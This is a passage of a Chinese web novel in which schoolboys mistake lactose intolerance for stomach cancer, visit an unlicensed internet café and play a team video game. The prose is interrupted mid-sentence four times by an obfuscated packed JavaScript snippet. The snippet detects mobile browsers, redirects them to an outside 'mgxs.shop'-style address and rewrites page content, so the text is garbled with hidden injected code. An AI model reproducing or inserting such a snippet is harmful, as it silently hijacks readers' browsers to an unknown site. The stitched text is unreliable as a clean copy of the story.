;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12636558|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “?” 纪因蓝拿着药盒的手一颤。 他看看脆弱的许最,回想自己刚才那句“哑巴”,立马在心里扇了自己两个大嘴巴子,满脑子都是“我真该死”。 喧闹的课间,九班后排四个人陷入了长久的沉默。 许最之外的三个少年你看看我我看看你,同时在对方脸上看到了茫然和难以置信。 啊? 胃癌? 没听错吧? 真的假的? 看许最那一脸苍白一本正经的样子,实在不像是在开玩笑。 再说,这种事情又不好追问,先不说他们才认识几天话都没说过几句根本不熟,就算关系还不错,那追着人问真得胃癌假得胃癌也还是太冒昧了一点。 “不会吧……那个……学霸,你……唉。” 丁逸逍不知道怎么聊这个沉重的话题,他磕巴半天,只重重叹了口气。 “怎么说呢,我有个亲戚也这个病,现在医学这么发达,只要没拖到后期,都能治。” 陆珏看着许最的表情,试探道: “我爸认识个很不错的专家,要不介绍给你去看看?你这么年轻,治愈希望很大的。” 许最看看他们,没说话。 沉默令气氛变得更加沉重,丁逸逍和陆珏怎么坐都不舒服,手都不知道该往哪放。 最后,纪因蓝抿抿唇,措辞许久才问: “已经查过了?确诊了?” 许最垂着眼点点头,攥着衣料的手指发白: “嗯。查过了。” 纪因蓝有些不忍,连带着语气都温柔不少: “哪家医院查的?靠谱吗?医生怎么说?” “……” 听见这话,许最虚弱地抬眸看了他一眼。 又是许久沉默,最后,屏息等待答案的三人只等来许最的一句: “……百度健康助手。” 纪因蓝笑了。 原来人在无语至极的时候真的会笑出来。 原本喧闹的九班教室安静一秒,因为所有人都听见了纪因蓝那声快要掀翻天花板的: “许最,你特么真是个脑瘫!” 于妙抱着练习册进教室的时候看到的就是这个画面。 纪因蓝一手拎着许最的后领把他从座位上拽了起来,脸上表情奇臭无比,看着像是要取谁的狗头。而许最弱小可怜无助小脸惨白地被他拖走,走着还踉跄几步,仿佛要去遭遇新一轮霸凌却根本无力反抗。 于妙心里一跳: “纪因蓝?你干什么?” 纪因蓝放开许最的后领,转而抓住他的外套衣摆,扯着人往外走,边咬着牙,一字一顿道: “拯救低能儿,刻不容缓!” 17.017:偏差 学校医务室有股淡淡的消毒水味道,校医姐姐戴好口罩,抬眸瞥了眼坐在床上脸色苍白的许最,和他身边臭着脸双手抱臂靠在一边的纪因蓝。 “怎么了这是,哪不舒服?搞这么大阵仗,来看校医还要跟个臭脸保镖?怪吓人的。” 校医姐姐跟纪因蓝关系不错,毕竟纪因蓝夏天没事时经常来她这蹭空调,两人都是大方的人,聊来聊去便处成了朋友。 她以前常见纪因蓝和丁逸逍姜闪闪他们在一起,现在看他带了个从没见过的小帅哥,便没忍住打趣一句。 听见她的问题,纪因蓝意味不明地嗤笑一声。 他瞥了许最一眼,只冷冰冰地撂下两个字: “胃癌。” “……” 许最似乎微微一怔,他抬眸看向纪因蓝,视线对上的那一刻,纪因蓝还看见他额上一点点细小的汗珠。 “啊?” 校医姐姐显然没想到自己会得到这样的答案,唇边的笑容都僵住了。 她微微睁大眼睛,看看纪因蓝又看看许最,神情有点茫然: “……癌症?学校没跟我反映过啊。” 纪因蓝张张口,原本想说点什么,但他看了眼许最,还是把嘴里那几句冷嘲热讽咽了回去,最终也只不耐烦地道: “你问他吧。” “到底怎么了?”校医姐姐一头雾水。 一听癌症,她确实有点紧张,但抬眼看见纪因蓝嘴角挂的那一丝冷笑,再看他那个夸张的白眼,她也差不多懂了——那是句玩笑话。 她松了口气,注意到许最从进校医室起就一直攥着腹部的衣料,再结合纪因蓝说的“胃癌”,试探着问: “胃疼吗?” “嗯。” 许最垂下眼,点了点头。 “老毛病还是?啧,不好好吃饭是不是你们高中生的时尚单品啊,一个两个胃都不好。没事别拿胃癌吓人。你是什么原因?胃炎?” “……”许最原本想说什么,但他抬眼看看纪因蓝,快要出口的话拐了个弯,只道: “不知道。” “不知道?以前有这种情况吗?” “有。” “多久了?” “……很久。” “啊?”校医姐姐一愣,紧接着无奈地笑了一声: “很久?疼了这么久还不知道原因?没去医院看过吗?” 听到这,纪因蓝终于没忍住嗤笑: “看了,看的百度,对自己得了胃癌这件事深信不疑。” “什么啊……”校医姐姐笑着瞥了许最一眼,这令他有点不自在: “宝贝,水一百度会开,人一百度会死。哪里不舒服要去医院,不要讳疾忌医,也不要上网冲浪自己吓自己。你这……很疼吗?经常疼?” “嗯。” “有多经常?” “每天。” “啊??” 校医姐姐再次发出疑惑的声音。 她现在的心情和旁边的纪因蓝一样莫名其妙。 到底什么人天天胃疼成这个样子还不去医院? 不是说觉得是胃癌还深信不疑吗?好歹去医院看看呢?就这么放弃啦? 冷静下来,校医姐姐轻咳两声: “有好好吃饭吗?” “有。” “每天疼……规律吗?一般是什么情况下会疼?” “晚上。”顿了顿,许最又道: “和今天早上。” 这话令校医姐姐嗅到了一丝不同寻常的味道。 她扬扬眉: “哦?那你今天早上吃过什么?” “牛奶。” “今天之前的每天晚上呢?” “……牛奶。” 听到这,校医姐姐直接拍手宣布: “行了,出院!” 许最缓缓抬眼望向她。 她脸上表情十分复杂,抬手拍拍他的肩膀: “我就说嘛。你应该是乳糖不耐受,放心,不是胃癌,死不了,以后少喝点乳制品就好。” 顿了顿,她又道: “但这也只是怀疑,毕竟我这也没仪器没法给你做检查,你有空还是得去医院查一查确定一下。” 说着,她摇摇头,无奈笑出了声: “每次喝完牛奶都胃疼还天天喝,天啊,你到底是有多爱喝牛奶?” 问得好。 纪因蓝也很疑惑。 他是真想骂人,但看许最低头坐在那,他忍了忍,还是把话咽了回去。 最后,许最拿着一盒乳酸菌素片乖乖跟在纪因蓝身后出了校医室。 出去后,纪因蓝原本想忍忍,但还是越想越气,最后,他还是没忍住,在上楼梯时顿住了脚步。 许最跟在他身边,见他停了下来,也默默收回已经放到下一级台阶上的脚,安安静静在他身边等他吩咐。 “许最。”纪因蓝看着他,突然放轻声音,往许最那边靠了一点,真诚发问: “你是不是有病?” “嗯。”许最点点头,认真回答他刚学到的名词: “乳糖不耐受。” 好。 他确实有病。 纪因蓝没话了。 他心服口服。 他翻了个白眼,短时间内不太想再理这个人,他抬腿一次跨两个台阶只想快点离开这个荒谬的地方,但还没走出几步,他突然听身后许最低声跟他说: “对不起。” “?”纪因蓝脚步一顿。 他回头看看还留在原地的许最: “什么?” 许最垂着眼,指尖抵着手里的药盒,因为过于用力,药盒纸质的表面微微下陷,形成一个柔和的弧度。 “耽误你时间,对不起。” 在听清这话的一瞬间,纪因蓝感觉自己身体里被人绷紧了一根弦。 他微一挑眉,想也没想,直接大步跨回许最身边,抬手在他肩膀上推了一把。 许最毫无防备受了这份力,他朝后踉跄两步,后背抵到了楼梯间冰凉的墙上。 纪因蓝一双眼睛沉沉地望着他,令他避无可避。 “许最,如果我的记忆没有出问题,我是不是今天早上才跟你说过,不要随便跟人说对不起?” 纪因蓝的长相气质和行事风格都带着独属于他的野气,他霸道、张扬、没耐心、脾气也不好,但实际上,在这些关键词的组合下,他却拥有一张并不那么显凶的脸。 他很白,人也瘦,眼睛大而亮,头发里那些蓝色挑染微微翘着,让他看起来像一只炸了毛的猫。 他眼瞳很黑,黑到深处甚至有点发蓝,许最并不能跟他对视太久,但这种情况下他又实在躲不开。 好在纪因蓝很快意识到自己这动作有点过分,他放开了许最,后撤几步,稍稍远离了他。 “你没什么对不起我的,我也不想要你的道歉。不舒服就去看医生,我主动带你过去,而你没有做错什么,这没什么好内疚的,没必要总把自己的姿态放这么低,显得多好欺负似的。” 说着,纪因蓝又朝他挥挥拳头: “强硬一点好吗?别动不动觉得自己错了,如果连你自己都觉得自己有错,那谁还能为你申辩?出什么事别老在自己身上找原因,如果世界上的人都像你这么会反思自己,那我真得感叹一句玛利亚光辉普照大地。” 许最还握着那个药盒。 他看着纪因蓝的脸,似乎有点出神。 “愣着干什么?听清没,听清了就走啊。” “哦。对……”许最垂下眼,下意识又想道歉,但他很快就想起纪因蓝刚刚才说完的话,于是自己默默咽下了后面的字,只另道: “好。” 纪因蓝瞥了他一眼。 还行。 还不算无可救药。 他们没在医务室耽误太久,回去时刚好赶上于妙没讲完的知识点。 下课后,前座的丁逸逍和陆珏都急着问许最的身体状况,纪因蓝原本想把这事当笑话给他们讲了,但他想了想,还是用一句“大人的事小孩少管”把那俩人打发了回去。 “蓝,你这就不对了,我们这是关心你同桌身体呢,你把人护这么紧干嘛?有什么事是不能让我们知道的?说这话真让人寒心。”丁逸逍痛心指责道。 “护着?”纪因蓝笑了一声: “算是吧。别问了,让他少丢点脸吧。” “丢脸?丢什么脸?” 姜闪闪不知道什么时候从后门冒了出来。 下课时间,教室乱腾腾的,她又只顾着八卦,往这边跑得急了点,结果不小心撞到了另一个人身上。 “对不起对不起!” 姜闪闪连忙双手合十为自己的冒失道歉,顺便抬头冲那人笑了笑,才绕过他跑到了纪因蓝的桌边。 李思勉看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12663563|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着她,眸色顿了顿。而后,他若有所思地推推鼻梁上的眼睛,转身捏着粉笔写教室后面没办完的板报。 “好啊你们几个,前几天一起打游戏不叫我是吧!有新朋友也不跟我玩是吧!你们孤立我!” 姜闪闪一巴掌拍在纪因蓝桌上,控诉道。 “得了吧闪姐,你游戏技术比我还烂,就别给蓝上难度了。” 丁逸逍看看她: “别给我们扣帽子啊,你个大忙人,我们一起玩哪找得到你啊。” 姜闪闪毫不客气地往他后脑勺拍了一把: “别尬黑!我能有你菜?我要告你歧视烈焰圣杯女玩家!” “清汤大老爷!” 陆珏看他们互动觉得好玩,他主动伸出拳头: “闪姐!久仰大名!我叫陆珏,以后一起玩啊。” 姜闪闪大大方方跟他碰拳: “叫一声姐,以后姐就罩你!” 几个少年笑了几声,而后不知谁先起头,他们将视线落到了许最身上。 正在看课后习题却突然有种不祥预感的许最:“?” 他缓缓抬眼,才发现身边那几个人不知何时都将目光落到了他身上,像是在期待着什么。 空气陷入短暂而尴尬的沉默,最后还是姜闪闪打破了凝滞的气氛: “许最!我知道你,一班学霸大帅哥!你好,我叫姜闪闪,生姜的姜,一闪一闪亮晶晶的闪。” 许最觉得这个声音有点耳熟。 但他没有细想,只点点头,照常回了一句: “哦。” 顿了顿,可能是觉得有点不礼貌,他盯着习题,又尽力补了一句: “……你好。” 又是片刻的沉默。 直到姜闪闪“噗嗤”一声笑了出来: “你可真是……” 她有点无奈,并善解人意地主动将话题从许最身上挑了开来: “你们怎么说?好久没有玩游戏了,今天正好有空,一起玩玩嘛蓝。反正你带一个带两个都是带。” 纪因蓝倒是无所谓: “都行,晚上开播叫你呗。” “别啊。”姜闪闪在纪因蓝桌边蹲下身,手指扒着他的课桌边沿: “非节假日我要敢开机打游戏我妈得叨叨死我。” “那你难不成还想跟以前似的线下开黑啊?” 纪因蓝瞥了她一眼: “学校附近能去的地儿上学期就被老牛带着人一网打尽了,正规的倒是还开着,但你进得去吗?” “……好吧,忘了这茬。老牛也真是的。” 姜闪闪做作地扶额叹了口气: “啧,真怀念咱们一起开黑的日子。坐一起一人一桶泡面,一边玩一边骂,真热闹,谁知道这团建节目最后毁在了老牛手里。” “听着真有意思。”陆珏还挺感兴趣: “我还没去过网吧,能坐一起玩,那游戏打起来一定很爽吧?” “那当然。”姜闪闪扬扬下巴: “线下开黑跟线上体验感差太多了!你想啊,旁边坐着inBlue全程指导,有空还能直接上手帮你操作,还包C,你说爽不爽?可惜咱学校附近的宝地都殁了,想去也没地去。” 听见这话,边上正认真解题的许最笔尖一顿。 他目光往旁边稍稍挪去,就看见了身边人搭在桌边的、骨节分明的手。 几个人在这畅聊美好过去,顺便为逝去的团建活动默哀。 直到旁边突然插进来一道声音: “有。” “啊?”姜闪闪愣了一下,下意识看向声音的主人。 许最垂着眼,语调冷清清的,说的却是: “没封完。还有地方能去。” 有那么一瞬间,他们怀疑是不是自己的耳朵出了问题,又或者是许最的频道跟他们不在一起。 他真知道他们在聊什么吗? “学霸,你知道我们在说什么吗?”丁逸逍尴尬地笑了两声。 “嗯。” 许最应了一声,抬眸看着纪因蓝,认真答: “黑网吧。我知道。” “?” 纪因蓝见了鬼似的跟他对视几秒,花了很长时间在脑子里反复播放几遍许最的话,才彻底相信许最说的三个字是黑网吧不是补习班。 不是,更诡异了好吧? 你小子为什么知道我请问呢??? 18.018:反差 两张桌子周围除了许最以外的四个人都傻了。 许最好像每次开口说话都有能够沉默全场的本事。 倒也不怪他们接受能力差,只怪许最这个人实在令人无法将他和“黑网吧”三个字联系到一起。 刻板印象里,黑网吧是什么人去的? 穿紧身裤豆豆鞋还染黄毛的混子、抽烟打架的未成年精神小伙、三句话问候全家人的暴躁超雄哥……诸如此类。 许最又是什么人? 校服一丝不苟整整齐齐,成绩表最顶钉子户,三好学生年年有他,洁身自好高岭之花。 黑网吧这种地方都在旮旯拐角,要是不花心思根本找不见,愿意费劲去找的一般都是有刚需。 可许最对黑网吧能有什么需求?他去那干什么? 看网课写作业刷题库啊??? 丁逸逍可能是过于震惊,说话也没带上脑子,张口就是一句: “你。知道什么叫黑网吧吗?” 许最微微皱皱眉,不理解他为什么会问出这种问题。 但他也没说什么,只垂下眼,避开了周围人的目光,认真解释: “黑网吧。没有营业执照、不依法纳税的网吧。违法营业,允许未成年人出入,允许浏览黄色.网页……” “行行行了!” 纪因蓝眉心一跳,赶紧打断了他。 他本来还想问一句你那么了解黑网吧是去干嘛,但话到嘴边又觉得太婆妈,反正许最去干什么都跟他没关系。 他轻咳两声,问: “知道你知识渊博了。地方在哪?” 许最看了他一眼,握着笔的手稍微用了点力,指腹轻轻蹭着光滑的笔杆,像是在思索什么,边道: “出门左拐,右拐,右拐,直走,再……” 纪因蓝的耐心被他这几拐瞬间清零: “照你这指路法只有土地爷能找见那鬼地方。你直接说,哪条路哪个巷子,周围有什么店面或者特征?” 许最缓慢地眨了下眼,眼睫和过长的发丝一起在他脸上落下阴影: “……不知道。” “?”纪因蓝服了。 姜闪闪笑出了声: “那你回家顺路吗?要是顺路的话可以带我们过去吗?不方便也没关系,我们自己找找,或者周末再约,反正不急。” 姜闪闪贴心地给许最留了拒绝的余地,却没想到许最这次答得干脆又利索: “可以。” 姜闪闪原本也只是顺着话说了这么一句,如果许最说不方便就可以无痛结束这个话题,但她没想到许最真能答应。 同样觉得意外的还有其他几个人。 说实话,纪因蓝始终觉得许最说自己知道黑网吧是在吹牛逼,他不信在这方面许最的消息能比丁逸逍还灵通,他宁愿相信“黑网吧”是三好学生的黑话,比如在世界的夹层中有那么一个神秘补习班或者超绝自习室藏在不为人知的地方偷偷给学生提分并被命名为黑网吧—— 直到许最七拐八绕地把他们带到了小巷深处一间隐蔽的地下室入口。 “我靠,真有啊?” 丁逸逍像远古时代第一只发现香蕉的猴子。 他给许最比了个大拇指: “学霸你牛。” 纪因蓝看着那小黑网吧的入口沉默良久。 最终,他接受了现实,回头深深看了许最一眼并说了句“谢了”,自己背着包先走了下去。 推开门,一股呛人的二手烟味道扑面而来。 光头老板正倚在椅子上刷视频,见他们一群校服仔进来,他叼着烟,散漫道: “一小时七块,包夜六十。” “这么贵?”丁逸逍没忍住道: “以前前面路口那家才四块。” 老板眼都没抬: “所以他凉了,你现在去那只能花十块钱吃碗凉皮。嫌贵别来。” 丁逸逍还想说什么,但在那之前,后面先有道冷调的声音越过他们: “有会员。” 听见这话,老板才掀了掀眼皮,等看清许最的脸,他喉咙滚过一道气音: “行,看你面子,一小时三块,包夜四十。” “?” 许最再次收获全场目光。 光头老板又不急不忙添了一句: “今天还开你老位置?还是跟你朋友一起?” 许最并没有受到邀请,所以他短暂地看了眼纪因蓝: “可以一起吗?” 纪因蓝还在震惊中没有回过神: “随你。” “谢谢。”许最点点头,才回了老板一句: “和他一起。” “……”纪因蓝僵硬地收回视线。 他之前以为这人就带个路,带到门口就算完了,没想到他会和他们一起进来。 进来就算了,还跟光头花臂哥这么熟,听着像是常客,还是能“看面子”的那种。 这人到底什么成分? 在社恐窝囊i人外表下其实有一颗狂野的心?校服穿那么整齐是因为不能露出身上的睁眼关公和过肩龙?白天当三好学生受小瘪三的窝囊气,却要在不为人知的深夜拎起刀和道上的兄弟守护北川街道的安全? 纪因蓝在思绪越跑越偏时及时喊了停。 再不停就演到许最坐飞机去香港单挑陈浩南了。 平时热热闹闹嘴不停的几位狐朋狗友全都默契地闭了嘴,他们去到开好的机位,自觉挑了心仪的位置坐下,许最看着纪因蓝,拉开椅子坐到了他身边。 “平时来得不少?” 坐下时,纪因蓝随口问道。 “嗯。” “真看不出来。” 纪因蓝凉凉地笑了一声,又问: “玩游戏吗?平时都玩什么?圣杯玩吗?” “玩。” “玩得怎么样?” “……”许最想了想,真诚道: “很好。” 还真不谦虚。 “学霸,你玩圣杯啊,那咱五黑呗,有这配置,今晚铁铁上分局。” “好。” 许最的回答十分简短,他熟练地打开桌面烈焰圣杯的图标,习惯性在登入条输入一串号码,但打到一半又像是想起了什么,于是手指按着键盘的删除键“哒哒哒”地把数字清空。 纪因蓝注意到了他的动作: “怎么?” 许最沉默片刻。 他轻轻抿起唇,抬手摸了摸自己的耳朵: “没……段位太高。” “哟呵!”陆珏在旁边放了个耳朵: “多高,我听听。” “大师。” 陆珏闭嘴了。 他点点头: “行。我这有个黄金小号,你需要吗?” “不用。有其他号。” 拼拼凑凑也不怎么熟的五排车队很快进入游戏队列,队内AD的位置自然给到了纪因蓝,纪因蓝在一楼选定英雄,锁好后瞥了眼许最的游戏界面: “你打什么位置的?” 许最张张口,正想说什么,就见BP界面内,二楼的姜闪闪锁了个软萌小辅助。 他盯着那个辅助头像沉思许久,最后无声地叹了口气,答了一句: “都行。” “我靠,不愧是年级第一,打游戏也6,全能选手啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12669835|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆珏感慨一句,但许最没有接他的茬。 除了辅助,其他位置对他来说都一样。 在矮子里硬拔高个儿想找点差距都得拿显微镜看的那种。 所以都行。 但他没有解释,所以大家默认他那句“都行”的意思是“菜鸡先选我补位”,就各自选了自己拿手的位置。 最后只给他留了个上单,还是五楼counter位(后手反制位)。 一般counter位的玩家会根据敌方和己方阵容选择能够克制敌方阵容的英雄,阵容好了游戏先赢一半,所以counter位的选择尤其重要。 见许最盯着英雄池迟迟没有选择,纪因蓝扫了眼阵容,随口建议道: “拿琉璃尔?控制多,这把好打一点。” 琉璃尔是当前版本的T0上单,背景故事中,她是一只被锁链永囚于深渊的魅魔,身上拖着不少链子,打起架来紫色特效眼花缭乱,控制多有位移还够肉,难操作但很好秀。 “能玩吗?”纪因蓝一句话刚问完,许最就锁了琉璃尔的头像。 “能。” 但事实证明,能玩和会玩就是两码事。 当开局十五分钟上路第六次传来击杀播报,纪因蓝绷不住了。 当琉璃尔再次复活,纪因蓝一边在下路补兵,一边分神拖视角看许最的精彩操作。 这人补兵没问题,意识和走位也都没的说,敌方上单凑过来想换他血,他知道自己打不过所以点完技能转身想跑。琉璃尔有位移,对面上单选的英雄相对来说比较笨重,追不上她,在这之前的部分都没什么问题,直到纪因蓝看着许最的W技能刷新,他手快一按,已经跑出去十里地的残血琉璃尔身形一闪,直接回到了对面上单的脸上。 许最的屏幕毫无悬念地黑了下去,对方上单在他尸体上沉默片刻,也不知道在做什么,可能是在感谢大自然的馈赠。 “你说你能玩琉璃尔?你知道她技能是什么吗你就能玩?W二段位移闪回你是有自己的巧思吗?给我个能说服我的理由来解释你刚才的精彩操作,不然你现在就给我挂机。” 纪因蓝实在绷不住了。 “……对不起。” 许最屏幕再次亮起,他跟着推荐买好自己需要的装备,想继续回上路对线,但刚走出去,他又想到纪因蓝刚说的话,便点着鼠标默默回到了泉水: “我跟她不太熟。” “那你跟什么熟?为什么不玩会玩的?” “我跟上路不熟。” “那你说你补位?” “我没说。” “……” 纪因蓝短暂回忆了一下。 行,他确实没说。 他瞥了眼小地图里乖乖蹲在泉水罚站的琉璃尔: “我就那么一说,让你挂机就真挂机啊?对线对不过就放了,上路不要了,线让打野吃,你过来跟我。” 待机许久的紫色魅魔立马一个位移飞出泉水。 游戏最终以对面水晶爆炸为结局,毕竟是黄金局,纪因蓝血C,就算一拖四也赢得不难。 结算界面,虽然除了纪因蓝以外,其他人的战绩都不怎么好看,他自诩也是见过大风大浪的人,但他还是看着琉璃尔的战绩陷入了沉思。 他转头看着许最: “你什么段位来着?” “大师。” “你刚说你烈焰圣杯玩得怎么样?” 许最认真点点头: “很好。” “很好?” “嗯。” 纪因蓝看着他0/18/8的战绩,面无表情地关掉了页面。 心说我信了你的邪。 19.019:意外 有了上一把的惨痛教训,这次进BP,纪因蓝长了个心眼,先问一句: “许大师,冒昧问一句,你拿什么位置上的大师?” 许最看了他一眼,如实答: “辅助。” 姜闪闪十分善解人意,她立马道: “行,那最最你去打辅助,我玩中单,上单让丁子去补。” 丁逸逍发出尖锐的爆鸣:“为什么是我?!” 姜闪闪无情道:“那你跟珏珏子换,你去打野,我们来赌一赌蓝的巴掌几分钟能落到你的脸上。” 丁逸逍:“告辞,我去上,我最喜欢打上单啦——” 纪因蓝听了他们的话,突然一愣: “你叫他什么?” “珏珏子啊。”姜闪闪道。 “不是,我说你刚叫许最。” 姜闪闪:“最最?怎么了?” 她笑了两声: “我们不都有爱称?蓝,丁子,珏珏子,闪闪姐,叫着多亲?都是一起打游戏的交情了,再‘学霸’来‘学霸’去的多生分?许许拗口,最最多好听啊。” “你叫还行。”陆珏细品: “这称呼对于老爷们来说有点太肉麻了。听着跟撒娇似的。” “你这么说好像确实是有点暧昧了哈,还是算了。” 姜闪闪想了想: “那阿最?” 他们在这讨论许最的新名字,纪因蓝则偏头看着他们话中的主角。 网吧昏暗的顶灯和电脑幽蓝的屏幕光一起落到他脸上,勾勒出他侧脸近乎完美的轮廓。 最最。 真怪的叫法。 听着怎么那么像…… “嘬嘬。” 纪因蓝叫小狗似的发出两段短促的音节,原本没想着能得到回应,谁想许最还真的转过了头。 两人对视片刻。 纪因蓝难得感觉到一丝尴尬。 他正想狡辩两句,但许最先开了口: “Ban英雄。” 纪因蓝赶紧将视线转回屏幕,随便挑了个麻烦的辅助送进Ban位。 “你先选吧,玩什么,我给你锁。挑你会的。” 许最看着被他Ban掉的那个萌妹辅助,整个人陷入了沉默。 片刻后,他滑滑鼠标,找见小羊的头像,刚想说什么,下一秒,小羊的笑容黑掉了。再一看,她已经挂到了对面的Ban位上。 对面连Ban三个辅助,加上纪因蓝Ban的那个,一共四个,都是外表漂亮机制麻烦操作复杂让人又爱又恨的存在—— 都是许最的常用英雄。 许最盯着Ban位,整个人沉默得像是被谁按下了暂停键。 最后,他无声地叹了口气,回了纪因蓝一句: “……都行。” 纪因蓝真是怕了他这句话。 但看在许最说自己拿辅助打上大师的份上,他决定再信他一把。 所以他扫了眼英雄池,问: “石锤巨人能玩吗?开团大肉,保我就行。” 石锤巨人是个很大众的辅助英雄,有肉有控,无论是在低分局还是高分局都很常见,虽然机制没那么出彩,但胜在容错率很高,很受玩家欢迎,基本上是个人都会玩。 许最看着被纪因蓝钦点的那个丑了吧唧的石头怪头像,再看看Ban位上几个美少女,再次叹了口气: “能。” “?” 不知为何,在按下锁定键的那一瞬间,纪因蓝突然有种不祥的预感。 游戏开始,纪因蓝操控的英雄玛雅扛着弓箭仙气飘飘地走在峡谷的小路上,身后跟着一只比她大一圈的笨重又丑陋的石头怪。 实话说,许最这个辅助玩得确实挺舒服,他意识足够,知道怎么做视野,知道挡技能,最难能可贵的是他会计算血量,不至于一锤下去补掉AD的兵。 这让上局每波都要被姜闪闪不小心吃掉好几个兵的纪因蓝心情很好。 他照常补兵,一边留意其他几路的战况,正想放个技能收掉炮车,冷不丁却听旁边人问了一句: “你刚刚是在叫我?” 纪因蓝一愣,手里一滑,技能完美错过残血炮车,落到了旁边的空地上。 他面色如常地一个平A收掉那个炮车,却难得心虚,毕竟他跟许最也不算太熟,又不是跟丁逸逍他们什么玩笑都能开,突然用叫狗的方式叫人家确实是有点没边界感。 “咳……就突然想到了,嘴比脑子快,别上心,没有冒犯的意思。” “不冒犯。” 许最声音很低,几乎要被网吧的吵闹淹没: “怎么叫都可以。随你。” 纪因蓝这次是真的愣住了。 他在想,许最这句“随你”到底是生气说的反话还是认真的。 直到左手边的姜闪闪出声提醒: “蓝,你小心,中单下去抓你了。” 在峡谷厮杀多年养成的本能令纪因蓝立马抛弃了那个问题。 他在脑中飞速演算一遍对方中单可能会走的路径,在心里默数几秒后,他按下大招,屏幕里的玛雅立马抡起长弓,一团金色星星离弦而出,在对面中单从河道里冲出来的那一瞬将他眩晕在了原地。 “辅助,推人。” 石锤巨人的大招能够将敌人强制位移一段距离,配合闪现使用效果更佳。 听见纪因蓝的命令,石锤巨人立马闪现上前,然后…… 然后一个飞踢把眩晕状态下的敌方中单送到了绝对安全的地方——他满血队友的身边。 对面辅助见状找见机会立马跟上一个E闪,把玛雅控死在原地,对面AD和解除眩晕的中单立马跟上一套输出,一秒后,下路的地上就只剩了石头怪的尸体和一把残破的弓。 一切发生在转瞬间。 [所有人]峡谷我最狂(魔药法师):救死扶伤脚,泪目。 [所有人]峡谷我最狂(魔药法师):谢了兄弟。 刚放完大招准备大杀四方却立马黑屏的纪因蓝:“?” 许最先发制人: “对不起。我能解释。” “行,我听听。” “他的技能释放方向和实际控制方向是……”许最努力措辞,艰难地解释自己遇见的困难: “是反的。” 纪因蓝凉凉勾下唇角: “我难道不知道?” 石锤巨人大招是个双手着地两脚飞踢的动作,玩家需要控制的是石锤巨人双手落地的方向,和它将要打出的飞踢方向完全相反,没用过这个英雄的玩家习惯了普通技能的释放方式,再玩石锤巨人确实会出现反向控制的情况。 这原本还算常见,但放在许最身上就令纪因蓝有点无法接受。 他宁愿从许最嘴里听见他刚才的精彩操作是一个失误,而不是他根本不知道这个英雄的技能。 “你特么打辅助上大师不知道石锤巨人的控制要反着放???!” “我……没玩过它。” “那你选它?不是??你个大师段专业辅助玩家没玩过石锤巨人???” 纪因蓝觉得许最再一次辜负了自己的信任。 要不是这局游戏没结束,纪因蓝真的会拽着许最衣领把人拖起来质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|12685083|131445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问。 他倒要问问,谁? 到底是谁? 是哪个超绝AD把这位连最基础的石锤巨人都没玩过的辅助带上了大师? 他要跟他单挑。要Solo。要把他堵在泉水杀一百回。 然后告诉他特么的下次自己的辅助自己带。 别再让他出来祸害野生AD用精彩操作震撼全世界。 纪因蓝深吸几口气,试图自己消化这些怒火,尽力不让它们化成即将落在许最头上的恶毒语言。 但他还是没忍住。 他想看看许最脸上现在是个什么表情,但刚抬眼,他目光先注意到了另一个人。 花臂光头老板不知什么时候走到了这边,他在许最身边停下,敲了敲他的桌子: “你们学校年前带人查网吧的那男老师晃到附近来了,不确定是来干啥的,你们要不先避避?” 这家黑网吧开在地下室,入口在后巷,前门还挂着个正规招牌,是家小卖部,两家店的老板都是光头哥。 光头哥看监控发现有人在小卖部外徘徊许久,看着还挺眼熟,他不确定那人是碰巧在这还是收到消息来这摸人,但保险起见,还是过来跟这几个校服仔吭了一声。 “我草,老牛来了?不会吧?” 丁逸逍看着自己的电脑屏幕: “我的晋级赛啊呜呜呜——” 纪因蓝立马把键盘往前一推: “你再待着打会儿就知道会不会了。” 说着,他拎起书包,拍了拍许最的座椅靠背: “分重要命重要?走了。” 北川一中有明确规定,如果学生出入黑网吧等场所,被逮到是要记过处分的。晋级赛没了还能再打,处分背在身上可不好消。 